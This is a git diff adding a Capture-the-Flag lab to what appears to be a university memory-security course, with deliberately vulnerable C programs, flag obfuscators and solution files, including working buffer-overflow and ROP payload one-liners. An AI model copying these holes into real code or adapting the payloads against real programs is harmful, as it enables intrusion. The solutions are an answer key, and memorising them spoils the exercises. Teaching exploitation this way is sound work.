+dynamic.o: dynamic.c + gcc -g -m32 -z execstack -fno-PIC -fno-stack-protector -c dynamic.c + +clean: + rm -rf dynamic dynamic.o diff --git a/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/README.md b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/README.md new file mode 100644 index 00000000..e31c7cf0 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/README.md @@ -0,0 +1,19 @@ +# Solution + +Run the executable with GDB, ideally with `gef`, `pwndbg`, or `peda`. +As you step through, you will notice that the flag will appear in fragments in the display of the register contents (the flag string contains null characters placed specifically so that it would not be displayed all at once). + +```asm +$eax : 0x0804d625 → "_out," +$ebx : 0x0804d22e → "_out," +$ecx : 0x0804d62a → 0x00000000 +$edx : 0x0804d625 → "_out," +``` + +You may also see fragments in the memory dump, at times: + +```asm +0xffffd4b8│+0x0008: 0xf7fb9000 → 0x001ead6c +0xffffd4bc│+0x000c: 0x0804d600 → 0x00000000 +0xffffd4c0│+0x0010: 0x0804d210 → 0x00495348 ("HSI"?) +``` diff --git a/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/deobfuscator.c b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/deobfuscator.c new file mode 100644 index 00000000..1bb4796f --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/deobfuscator.c @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#include +#define MAXC 1000 + +void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len) +{ + const char *pos = hex_str; + *len = 0; + + int ret; + + while (*pos && *(pos + 1)) { + if (*pos == '\\' && *(pos + 1) == 'x') { + ret = sscanf(pos + 2, "%2hhx", &bytes[*len]); + if (ret != 1) + exit(EXIT_FAILURE); + (*len)++; + pos += 4; + } else { + pos++; + } + } +} + +void get_flag(unsigned char *flag, int len) +{ + const int start_offset = 5; + unsigned int seed = 42; + int i = 0, iflag = 0, garbage; + unsigned char *res = (unsigned char *) malloc(MAXC); + + while (iflag < len) { + garbage = rand_r(&seed) % 5; + while (garbage--) { + rand_r(&seed); + ++iflag; + } + + res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); + ++iflag; + } + res[i] = 0; + + puts((const char *)res); + free(res); +} + +int main(void) +{ + char hex_input[MAXC]; + unsigned char flag[MAXC]; + int len; + + printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): "); + fgets(hex_input, MAXC, stdin); + + hex_to_bytes(hex_input, flag, &len); + + get_flag(flag, len); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/dynamic.c b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/dynamic.c new file mode 100644 index 00000000..0bc93548 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/dynamic.c @@ -0,0 +1,89 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#include + +#define MAXC 1000 + +char *get_flag(void) +{ + const int start_offset = 5; + unsigned int seed = 42; + + /* Here goes the obfuscated flag outputed by obfuscate.c */ + char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x7b\x37" + "\x20\x72\x24\x21\x49\x5e\x08\x45\x41\x05\x16\x40\x35\x7d\x25\x43" + "\x08\x70\x6d\x75\x56\x1e\x0a\x11\x01\x61\x07\x64\x0d\x2b\x6f\x31" + "\x0b\x43\x07\x1c\x7c\x52\x0a\x62\x37\x46\x6c\x09\x70\x52\x54\x7b" + "\x2d\x5d\x1a\x46\x26\x70\x24\x2b\x7e\x11\x6d\x06\x16\x61\x70\x4b" + "\x7b\x51\x7d\x17\x4d\x19\x27\x24\x0f\x09\x65\x18\x4f\x6b\x4b\x2c" + "\x49\x1b\x65\x74\x1a\x18\x5b\x17\x4e\x57\x16\x37\x57\x72\x53\x31" + "\x4c"; + + int i = 0, cnt = 0; + int iflag = 0; + int garbage; + char *res = (char *)calloc(MAXC, 1); + char *fin = (char *)calloc(MAXC, 1); + + while (flag[iflag]) { + garbage = rand_r(&seed) % 5; + while (garbage--) { + rand_r(&seed); + ++iflag; + } + res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); + ++iflag; + ++cnt; + // Copying the string into another with a null character once every 5 characters + if (i % 5 == 0 || !flag[iflag]) { + strncpy(fin + i - cnt + i / 5, res + i - cnt, 5); + // Covering our tracks + memset(res + i - 5, 0, 5); + cnt = 0; + } + } + free(res); + + return fin; +} + +int main(void) +{ + char buff1[100]; + char *buff2; + int j = 0; + + buff2 = malloc(100); + + strcpy(buff1, "So close "); + strcpy(buff2, "and yet so far...\n"); + + buff1[9] = 0; + buff2[19] = 0; + + char *flag = get_flag(); + // 13 doesn't have special meaning + for (int i = 0; i < 13; i++) { + if (!flag[i]) + continue; + buff1[10 + j] = flag[i]; + j++; + } + j = 0; + // 32 is the length of flag + for (int i = 0; i < 32; i++) { + if (!flag[i]) + continue; + buff2[20 + j] = flag[i + 13]; + j++; + } + + printf("%s%s", buff1, buff2); + + free(buff2); + free(flag); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/obfuscator.c b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/obfuscator.c new file mode 100644 index 00000000..981b1fe8 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/obfuscator.c @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#define MAXC 1000 + +const int start_offset = 5; +unsigned int seed = 42; + +unsigned char *obfuscate(unsigned char *s) +{ + int i = 0; + int garbage; + unsigned char *res = (unsigned char *) malloc(10 * MAXC); + + while (*s) { + garbage = rand_r(&seed) % 5; + while (garbage--) + res[i++] = rand_r(&seed) % 127 + 1; + res[i] = ((*s) ^ ((start_offset + i) % 128) ^ (rand_r(&seed) % 128)) + 1; + ++i; + ++s; + } + res[i] = 0; + + return res; +} + +int main(void) +{ + unsigned char s[MAXC]; + + scanf("%s", s); + + unsigned char *sObfuscated = obfuscate(s); + unsigned char *p = sObfuscated; + + while (*p) { + printf("\\x%02x", *p); + ++p; + } + + free(sObfuscated); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/look-at-him-go/support/dynamic b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/support/dynamic new file mode 100644 index 00000000..f36e23a0 Binary files /dev/null and b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/support/dynamic differ diff --git a/chapters/memory-security/ctf/drills/tasks/playing-god/README.md b/chapters/memory-security/ctf/drills/tasks/playing-god/README.md new file mode 100644 index 00000000..514fb440 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/playing-god/README.md @@ -0,0 +1,6 @@ +# Playing God + +The `playing-god/support/dynamic2` binary asks you to guess a number between 1 and 100000. +Find a better way to discover it. + +To help you solve this exercise, like in the previous one, make sure to [keep an eye on the registers](https://stackoverflow.com/questions/5429137/how-to-print-register-values-in-gdb)! diff --git a/chapters/memory-security/ctf/drills/tasks/playing-god/solution/Makefile b/chapters/memory-security/ctf/drills/tasks/playing-god/solution/Makefile new file mode 100644 index 00000000..3fc9ff2f --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/playing-god/solution/Makefile @@ -0,0 +1,10 @@ +all: vuln + +vuln: vuln.o + gcc -no-pie -m32 vuln.o -o vuln + +vuln.o: vuln.c + gcc -g -m32 -z execstack -fno-PIC -fno-stack-protector -c vuln.c + +clean: + rm -rf vuln.o vuln diff --git a/chapters/memory-security/ctf/drills/tasks/playing-god/solution/README.md b/chapters/memory-security/ctf/drills/tasks/playing-god/solution/README.md new file mode 100644 index 00000000..b7604291 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/playing-god/solution/README.md @@ -0,0 +1,10 @@ +# Solution + +Run the executable with GDB. +You can see the random number in the register before the input function call. + +```asm +$eax : 0x12986 +$ebx : 0x0 +$ecx : 0x12986 +``` diff --git a/chapters/memory-security/ctf/drills/tasks/playing-god/solution/deobfuscator.c b/chapters/memory-security/ctf/drills/tasks/playing-god/solution/deobfuscator.c new file mode 100644 index 00000000..1bb4796f --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/playing-god/solution/deobfuscator.c @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#include +#define MAXC 1000 + +void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len) +{ + const char *pos = hex_str; + *len = 0; + + int ret; + + while (*pos && *(pos + 1)) { + if (*pos == '\\' && *(pos + 1) == 'x') { + ret = sscanf(pos + 2, "%2hhx", &bytes[*len]); + if (ret != 1) + exit(EXIT_FAILURE); + (*len)++; + pos += 4; + } else { + pos++; + } + } +} + +void get_flag(unsigned char *flag, int len) +{ + const int start_offset = 5; + unsigned int seed = 42; + int i = 0, iflag = 0, garbage; + unsigned char *res = (unsigned char *) malloc(MAXC); + + while (iflag < len) { + garbage = rand_r(&seed) % 5; + while (garbage--) { + rand_r(&seed); + ++iflag; + } + + res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); + ++iflag; + } + res[i] = 0; + + puts((const char *)res); + free(res); +} + +int main(void) +{ + char hex_input[MAXC]; + unsigned char flag[MAXC]; + int len; + + printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): "); + fgets(hex_input, MAXC, stdin); + + hex_to_bytes(hex_input, flag, &len); + + get_flag(flag, len); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/playing-god/solution/obfuscator.c b/chapters/memory-security/ctf/drills/tasks/playing-god/solution/obfuscator.c new file mode 100644 index 00000000..981b1fe8 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/playing-god/solution/obfuscator.c @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#define MAXC 1000 + +const int start_offset = 5; +unsigned int seed = 42; + +unsigned char *obfuscate(unsigned char *s) +{ + int i = 0; + int garbage; + unsigned char *res = (unsigned char *) malloc(10 * MAXC); + + while (*s) { + garbage = rand_r(&seed) % 5; + while (garbage--) + res[i++] = rand_r(&seed) % 127 + 1; + res[i] = ((*s) ^ ((start_offset + i) % 128) ^ (rand_r(&seed) % 128)) + 1; + ++i; + ++s; + } + res[i] = 0; + + return res; +} + +int main(void) +{ + unsigned char s[MAXC]; + + scanf("%s", s); + + unsigned char *sObfuscated = obfuscate(s); + unsigned char *p = sObfuscated; + + while (*p) { + printf("\\x%02x", *p); + ++p; + } + + free(sObfuscated); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/playing-god/solution/vuln.c b/chapters/memory-security/ctf/drills/tasks/playing-god/solution/vuln.c new file mode 100644 index 00000000..77c9b2e8 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/playing-god/solution/vuln.c @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include + +#define MAXC 1000 + +void get_flag(void) +{ + const int start_offset = 5; + unsigned int seed = 42; + + /* Here goes the obfuscated flag outputed by obfuscate.c */ + char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x3f\x37" + "\x20\x2b\x24\x21\x49\x01\x08\x45\x41\x05\x23\x40\x35\x6f\x25\x43" + "\x17\x70\x6d\x4f\x56\x1e\x0a\x11\x1f\x61\x07\x64\x27\x10\x5e\x31" + "\x0b\x43\x07\x31\x7c\x55\x0a\x6c\x37\x70\x6c\x09\x70\x55\x54\x74" + "\x2d\x5d\x1a\x46\x33\x70\x24\x2b\x4a\x07\x6d\x06\x16\x57\x70\x4b" + "\x64\x51\x7d\x17\x51"; + + int i = 0; + int iflag = 0; + int garbage; + char *res = (char *)malloc(MAXC); + + while (flag[iflag]) { + garbage = rand_r(&seed) % 5; + while (garbage--) { + rand_r(&seed); + ++iflag; + } + res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); + ++iflag; + } + res[i] = 0; + + puts(res); +} + +int main(void) +{ + unsigned int seed = 42; + int real_num, guess; + + real_num = rand_r(&seed) % 100000; + + scanf("%d", &guess); + + if (guess == real_num) + get_flag(); + else + printf("Try again\n"); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/playing-god/support/dynamic2 b/chapters/memory-security/ctf/drills/tasks/playing-god/support/dynamic2 new file mode 100644 index 00000000..c727249a Binary files /dev/null and b/chapters/memory-security/ctf/drills/tasks/playing-god/support/dynamic2 differ diff --git a/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/README.md b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/README.md new file mode 100644 index 00000000..46178bf4 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/README.md @@ -0,0 +1,6 @@ +# RIP My Buffers Off + +The `rip-my-buffers-off/support/buff-ovf2` binary does not use the `get_flag()` function, but it offers an opportunity to call it. +> **TIP:** Where can a function address be overwritten? + +[This example](https://medium.com/@0x-Singularity/exploit-tutorial-understanding-buffer-overflows-d017108edc85), albeit also linked in the previous exercise, is still a great resource to help you solve this exercise. diff --git a/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/Makefile b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/Makefile new file mode 100644 index 00000000..0d45b7f4 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/Makefile @@ -0,0 +1,10 @@ +all: buff-ovf2 + +buff-ovf2: buff-ovf2.o + gcc -no-pie -m32 buff-ovf2.o -o buff-ovf2 + +buff-ovf2.o: buff-ovf2.c + gcc -g -m32 -z execstack -fno-PIC -fno-stack-protector -c buff-ovf2.c + +clean: + rm -rf buff-ovf2.o buff-ovf2 diff --git a/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/README.md b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/README.md new file mode 100644 index 00000000..2d5711f8 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/README.md @@ -0,0 +1,8 @@ +# Solution + +The function address on the stack needs to be overwritten with the address of `get_flag()`. +Before reaching that, the payload needs to pass through some local variables and the EBP. + +```sh +python3 -c 'import sys; sys.stdout.buffer.write(b"A"*41 + b"\xed\x85\x04\x08")' | ./buff-ovf2 +``` diff --git a/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/buff-ovf2.c b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/buff-ovf2.c new file mode 100644 index 00000000..d268dcb8 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/buff-ovf2.c @@ -0,0 +1,61 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#include + +#define MAXC 1000 + +char buff[] = "Hey"; + +void get_flag(void) +{ + const int start_offset = 5; + unsigned int seed = 42; + + /* Here goes the obfuscated flag outputed by obfuscate.c */ + char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x3f\x37" + "\x20\x2b\x24\x21\x49\x01\x08\x45\x41\x19\x26\x40\x35\x7d\x25\x43" + "\x31\x70\x6d\x66\x56\x1e\x0a\x11\x07\x61\x07\x64\x37\x3d\x46\x31" + "\x0b\x43\x07\x1b\x7c\x4c\x0a\x61\x37\x70\x6c\x09\x70\x43\x54\x74" + "\x2d\x5d\x1a\x46\x34\x70\x24\x2b\x4f\x3d\x6d\x06\x16\x4d\x70\x4b" + "\x71"; + + int i = 0; + int iflag = 0; + int garbage; + char *res = (char *)malloc(MAXC); + + while (flag[iflag]) { + garbage = rand_r(&seed) % 5; + while (garbage--) { + rand_r(&seed); + ++iflag; + } + res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); + ++iflag; + } + res[i] = 0; + + puts(res); +} + +void trampoline(void) +{ + unsigned int a = 1234567; + char some_str[] = "That's what she said"; + + fgets(some_str, 100, stdin); + printf("%s's local variables:\n", __func__); + printf("0x%x", a); + for (int i = 0; i < strlen(some_str); i++) + printf("%x", some_str[i]); + printf("\n"); +} + +int main(void) +{ + trampoline(); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/deobfuscator.c b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/deobfuscator.c new file mode 100644 index 00000000..1bb4796f --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/deobfuscator.c @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#include +#define MAXC 1000 + +void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len) +{ + const char *pos = hex_str; + *len = 0; + + int ret; + + while (*pos && *(pos + 1)) { + if (*pos == '\\' && *(pos + 1) == 'x') { + ret = sscanf(pos + 2, "%2hhx", &bytes[*len]); + if (ret != 1) + exit(EXIT_FAILURE); + (*len)++; + pos += 4; + } else { + pos++; + } + } +} + +void get_flag(unsigned char *flag, int len) +{ + const int start_offset = 5; + unsigned int seed = 42; + int i = 0, iflag = 0, garbage; + unsigned char *res = (unsigned char *) malloc(MAXC); + + while (iflag < len) { + garbage = rand_r(&seed) % 5; + while (garbage--) { + rand_r(&seed); + ++iflag; + } + + res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); + ++iflag; + } + res[i] = 0; + + puts((const char *)res); + free(res); +} + +int main(void) +{ + char hex_input[MAXC]; + unsigned char flag[MAXC]; + int len; + + printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): "); + fgets(hex_input, MAXC, stdin); + + hex_to_bytes(hex_input, flag, &len); + + get_flag(flag, len); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/obfuscator.c b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/obfuscator.c new file mode 100644 index 00000000..981b1fe8 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/obfuscator.c @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#define MAXC 1000 + +const int start_offset = 5; +unsigned int seed = 42; + +unsigned char *obfuscate(unsigned char *s) +{ + int i = 0; + int garbage; + unsigned char *res = (unsigned char *) malloc(10 * MAXC); + + while (*s) { + garbage = rand_r(&seed) % 5; + while (garbage--) + res[i++] = rand_r(&seed) % 127 + 1; + res[i] = ((*s) ^ ((start_offset + i) % 128) ^ (rand_r(&seed) % 128)) + 1; + ++i; + ++s; + } + res[i] = 0; + + return res; +} + +int main(void) +{ + unsigned char s[MAXC]; + + scanf("%s", s); + + unsigned char *sObfuscated = obfuscate(s); + unsigned char *p = sObfuscated; + + while (*p) { + printf("\\x%02x", *p); + ++p; + } + + free(sObfuscated); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/support/buff-ovf2 b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/support/buff-ovf2 new file mode 100644 index 00000000..f40f9715 Binary files /dev/null and b/chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/support/buff-ovf2 differ diff --git a/chapters/memory-security/ctf/drills/tasks/rop/README.md b/chapters/memory-security/ctf/drills/tasks/rop/README.md new file mode 100644 index 00000000..bbf7a3d6 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/rop/README.md @@ -0,0 +1,11 @@ +# ROP + +`rop/support/rop` is a 64-bit binary with a simple buffer overflow. +However, it has NX enabled, so normal shellcode will not work. +Find a way to create a working exploit. + +> **TIP:** On x86_64, function arguments are no longer found on the stack but in registers. + +If you're having trouble with this exercise, you may use [this](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/rop-chaining-return-oriented-programming). +Keep in mind that `peda`'s functionality may be a bit different from that of the provided setup, but you should have [this](https://github.com/JonathanSalwan/ROPgadget). +In `pwndbg`, you can use something like `rop --grep "pop rsi"`. diff --git a/chapters/memory-security/ctf/drills/tasks/rop/solution/Makefile b/chapters/memory-security/ctf/drills/tasks/rop/solution/Makefile new file mode 100644 index 00000000..de06fcd1 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/rop/solution/Makefile @@ -0,0 +1,10 @@ +all: rop + +rop: rop.o + gcc -no-pie rop.o -o rop + +rop.o: rop.c + gcc -g -z execstack -fno-PIC -fno-stack-protector -O0 -c rop.c + +clean: + rm -rf rop.o rop diff --git a/chapters/memory-security/ctf/drills/tasks/rop/solution/README.md b/chapters/memory-security/ctf/drills/tasks/rop/solution/README.md new file mode 100644 index 00000000..033b1a84 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/rop/solution/README.md @@ -0,0 +1,18 @@ +# Solution + +Idea: The function that needs to be called is `special_function()` with arguments 6 and 9. +The binary is a 64-bits ELF, therefore the parameters are no longer taken from the stack - they are taken from registers esi and edi; +in order to set these registers, you need to execute 2 gadgets. +By using commands like `ropsearch "pop rsi"` and `ropsearch "pop rdi"` in `GDB peda`, you will find gadgets `pop rsi; pop r15; ret` and `pop rdi; ret`. +We first need to overwrite the return address with the address of the first gadget, followed by 2 8-bytes values (rsi and r15, which is not relevant); +the value of rsi needs to be the value of the second argument; +these values are followed by the address of the second gadget and the value of rdi - the first argument of the function. +Finally, we jump to the address of `special_function()`, which you can find by using `gdb` and `print special_function`. + +The command below might need to be modified. + +```sh +python3 -c 'import sys; sys.stdout.buffer.write(b"A"*24 + b"\xd1\x08\x40\x00\x00\x00\x00\x00" + b"\x09\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00" + b"\xd3\x08\x40\x00\x00\x00\x00\x00" + b"\x06\x00\x00\x00\x00\x00\x00\x00" + b"\x02\x08\x40\x00\x00\x00\x00\x00")' | ./rop +``` + +Note: if you recompile the binary, if an address ends up having `0a` as its least significant byte, you may have to increment it in order to prevent `fgets()` from reading it as a newline character - `\n`. diff --git a/chapters/memory-security/ctf/drills/tasks/rop/solution/deobfuscator.c b/chapters/memory-security/ctf/drills/tasks/rop/solution/deobfuscator.c new file mode 100644 index 00000000..1bb4796f --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/rop/solution/deobfuscator.c @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#include +#define MAXC 1000 + +void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len) +{ + const char *pos = hex_str; + *len = 0; + + int ret; + + while (*pos && *(pos + 1)) { + if (*pos == '\\' && *(pos + 1) == 'x') { + ret = sscanf(pos + 2, "%2hhx", &bytes[*len]); + if (ret != 1) + exit(EXIT_FAILURE); + (*len)++; + pos += 4; + } else { + pos++; + } + } +} + +void get_flag(unsigned char *flag, int len) +{ + const int start_offset = 5; + unsigned int seed = 42; + int i = 0, iflag = 0, garbage; + unsigned char *res = (unsigned char *) malloc(MAXC); + + while (iflag < len) { + garbage = rand_r(&seed) % 5; + while (garbage--) { + rand_r(&seed); + ++iflag; + } + + res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); + ++iflag; + } + res[i] = 0; + + puts((const char *)res); + free(res); +} + +int main(void) +{ + char hex_input[MAXC]; + unsigned char flag[MAXC]; + int len; + + printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): "); + fgets(hex_input, MAXC, stdin); + + hex_to_bytes(hex_input, flag, &len); + + get_flag(flag, len); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/rop/solution/obfuscator.c b/chapters/memory-security/ctf/drills/tasks/rop/solution/obfuscator.c new file mode 100644 index 00000000..981b1fe8 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/rop/solution/obfuscator.c @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#define MAXC 1000 + +const int start_offset = 5; +unsigned int seed = 42; + +unsigned char *obfuscate(unsigned char *s) +{ + int i = 0; + int garbage; + unsigned char *res = (unsigned char *) malloc(10 * MAXC); + + while (*s) { + garbage = rand_r(&seed) % 5; + while (garbage--) + res[i++] = rand_r(&seed) % 127 + 1; + res[i] = ((*s) ^ ((start_offset + i) % 128) ^ (rand_r(&seed) % 128)) + 1; + ++i; + ++s; + } + res[i] = 0; + + return res; +} + +int main(void) +{ + unsigned char s[MAXC]; + + scanf("%s", s); + + unsigned char *sObfuscated = obfuscate(s); + unsigned char *p = sObfuscated; + + while (*p) { + printf("\\x%02x", *p); + ++p; + } + + free(sObfuscated); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/rop/solution/rop.c b/chapters/memory-security/ctf/drills/tasks/rop/solution/rop.c new file mode 100644 index 00000000..e70cadf1 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/rop/solution/rop.c @@ -0,0 +1,64 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#include + +#define MAXC 1000 + +static int my_global_var; +static int my_other_global_var; + +void get_flag(void) +{ + const int start_offset = 5; + unsigned int seed = 42; + + if (my_other_global_var != 0x1234) { + printf("You're cheating, mate. Try harder\n"); + return; + } + /* Here goes the obfuscated flag outputed by obfuscate.c */ + char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x6a\x37" + "\x20\x6c\x24\x21\x49\x5c\x08\x45\x41\x30\x3f\x40\x35\x6b\x25\x43" + "\x04\x70\x6d\x7b\x56\x1e\x0a\x11\x08\x61\x07\x64\x3e\x05\x6f\x31" + "\x0b\x43\x07\x1c\x7c\x57\x0a\x52\x37\x5e\x6c\x09\x70\x54\x54\x2e" + "\x2d\x5d\x1a\x46\x2d"; + + int i = 0; + int iflag = 0; + int garbage; + char *res = (char *)malloc(MAXC); + + while (flag[iflag]) { + garbage = rand_r(&seed) % 5; + while (garbage--) { + rand_r(&seed); + ++iflag; + } + res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); + ++iflag; + } + res[i] = 0; + + puts(res); +} + +void special_function(int x, int y) +{ + if (x == 6 && y == 9) { + my_other_global_var = 0x1234; + get_flag(); + } else { + printf("You missed something\n"); + } +} + +int main(void) +{ + char buf[16]; + + fgets(buf, 100, stdin); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/rop/support/rop b/chapters/memory-security/ctf/drills/tasks/rop/support/rop new file mode 100644 index 00000000..8a427119 Binary files /dev/null and b/chapters/memory-security/ctf/drills/tasks/rop/support/rop differ diff --git a/chapters/memory-security/ctf/reading/README.md b/chapters/memory-security/ctf/reading/README.md new file mode 100644 index 00000000..b4803f9c --- /dev/null +++ b/chapters/memory-security/ctf/reading/README.md @@ -0,0 +1,13 @@ +# CTF + +In this laboratory, you will have to apply most of the concepts presented throughout this course under the format of `Capture-The-Flag` tasks. +These tasks will test your understanding and mastery of specific static and dynamic analysis methods and tools, the compilation process, assembly language - syntax, registers, memory handling, functions, - as well as your ability to identify and exploit simple buffer overflow vulnerabilities. + +## Return Oriented Programming + +For the bonus exercise, you will have to use Return Oriented Programming (ROP). +This is a technique in which, if we have the ability to overwrite the return address, we execute `gadgets`. +These `gadgets` are simply portions of the existing code that end with a `ret` instruction. + +To determine the address of a gadget in a binary, there is the tool [ROPgadget](https://github.com/JonathanSalwan/ROPgadget). +Alternatively, in `pwndbg`, you can use a command like `rop --grep "pop rsi"`. diff --git a/config.yaml b/config.yaml index 9300ecec..0cbf2704 100644 --- a/config.yaml +++ b/config.yaml @@ -261,6 +261,25 @@ docusaurus: - Overflow in C/: overflow-in-c/ - Overwrite Return Address/: overwrite-ret-addr/ - Overflow for Binary File/: overflow-for-binary/ + - Lab 12 - Capture The Flag: + - CTF: + path: chapters/memory-security/ctf/ + subsections: + - Reading/: reading/ + - Drills: + path: drills/ + subsections: + - Tasks: + path: tasks/ + subsections: + - Hidden in Plain Sight/: hidden-in-plain-sight-1/ + - Hidden in Plain Sight ++/: hidden-in-plain-sight-2/ + - Look at Him Go/: look-at-him-go/ + - Playing God/: playing-god/ + - Indirect Business/: indirect-business/ + - RIP My Buffers Off/: rip-my-buffers-off/ + - Feeling Chained/: feeling-chained/ + - Bonus - ROP/: rop/ # static_assets: # - template-chapter-template-topic: /build/make_assets/chapters/template-chapter/template-topic/slides/_site config_meta: